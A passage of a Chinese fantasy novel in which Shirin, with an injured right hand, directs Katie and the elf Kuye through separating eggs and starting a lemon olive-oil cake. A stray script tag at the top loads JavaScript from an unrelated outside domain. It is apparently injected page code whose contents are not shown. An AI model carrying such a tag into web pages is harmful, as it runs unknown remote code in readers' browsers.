<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
五分钟后,按照希琳的要求,凯蒂和枯叶将准备好的蛋糕原料摆在了工作台上:一些鸡蛋、一碗白糖、一颗柠檬、一袋面粉和一小罐橄榄油,还有几个洗干净的大木碗。
“这个面粉不太行,”希琳抓起面粉捏了捏,“做出来的蛋糕可能会很硬。”
“怎么会?城里的蛋糕店都是用的这种面粉,我特意问过的!”
“是啊。但是在王国东部,我们用一种更细更软的面粉,好像是从精灵那边进口来的。”希琳说着看了看枯叶。
“别看我。”枯叶摊开手,“我对蛋糕的了解仅限于哪种好吃、哪种不好吃。”
“好吧……还有这个油,你真的没有玉米油吗?”
“城里的——”
“知道了,城里的蛋糕店都是用的这种油。”希琳轻叹一声,“好吧,火印城的蛋糕也不算很难吃,而且我还没尝试过用橄榄油做蛋糕呢。”
枯叶抬起眉毛,“那么,如果你对材料满意了……”
“嗯,开始做吧。枯叶,帮我一下?我的右手不方便。”
“好啊,需要我做什么?”
希琳拿起一个木碗放在身前,然后手心向上地伸出左手,悬在木碗上方。“把鸡蛋打在我手上。”
“没问题!”枯叶麻利地抓起一枚鸡蛋,一把扣在了希琳的手上。
“啊,你干什么!”
“嗯?你不是让我把鸡蛋打在你手上吗?”
“……你、你这样都打碎了!”
“不打碎难道要连着蛋壳一起吃吗?”
“诸神啊!”希琳长叹一声,“算了……帮我擦一下手,然后换一个新的木碗吧。”
凯蒂好奇地看着她,“这个为什么不能用了?”
“因为碗里已经被蛋白和蛋黄弄脏了。”希琳解释道,“那样是打不出蛋白霜的。”
“不会吧?我做蛋糕的时候都是直接混在一起的。”
“我妈妈不是这么教的。”希琳耸耸肩,“是你们两个让我露一手的,对不对?”
“姑且算是吧。”枯叶看着手上的蛋壳碎片,掏出手帕擦了擦。
“那就让我按自己的方式做吧,可以吗?”
凯蒂点点头,用毛巾帮希琳擦干净左手,接着又换了新的木碗。
“好,再来。枯叶,你……算了,等一下再让你帮忙。”希琳对女精灵刚刚的打蛋法余悸未消,“莫里迪小姐,来,麻烦你把鸡蛋打在我的左手上。”
凯蒂拿起一枚鸡蛋,用汤匙敲了敲,接着从中间掰开蛋壳,让蛋黄和蛋白落到了希琳的左手上。“像这样?”
“没错,你简直是个天才!”希琳惊喜地说,“蛋黄一点也没破,太厉害了!”
“好吧,我承认她比我打得更干净。”枯叶说,“但你这是要做什么?”
“我要把蛋黄和蛋白分离开,”希琳小心翼翼地调整着指缝的宽度,以免弄破手掌中的蛋黄。蛋白液从她的指缝漏进了下面的木碗里。“必须完美分离,才能打出最好的蛋白霜。”
接下来,她们又如法炮制地打了四枚鸡蛋,分离出了五个蛋黄和一大碗蛋白液。希琳认真地检查了蛋白液,因为里面不能有一点蛋黄和蛋壳碎片。
“然后呢?”凯蒂问。
“然后把柠檬汁和橄榄油和蛋黄一起搅拌,弄点柠檬果肉和柠檬皮也可以,但是一定要捣碎一些。”
“嗯……切碎的可以吗?”
“当然可以。”
于是半颗柠檬和一汤匙的橄榄油被加进了蛋黄的碗里,接着是三汤匙面粉。搅拌的工作自然交给了枯叶,她似乎认为这个枯燥乏味的活很有意思。
“好啦,接下来是困难的部分了。”蛋黄搅拌完成后,希琳说,“我的手不方便,所以枯叶,蛋糕能不能做好就全看你的发挥了!”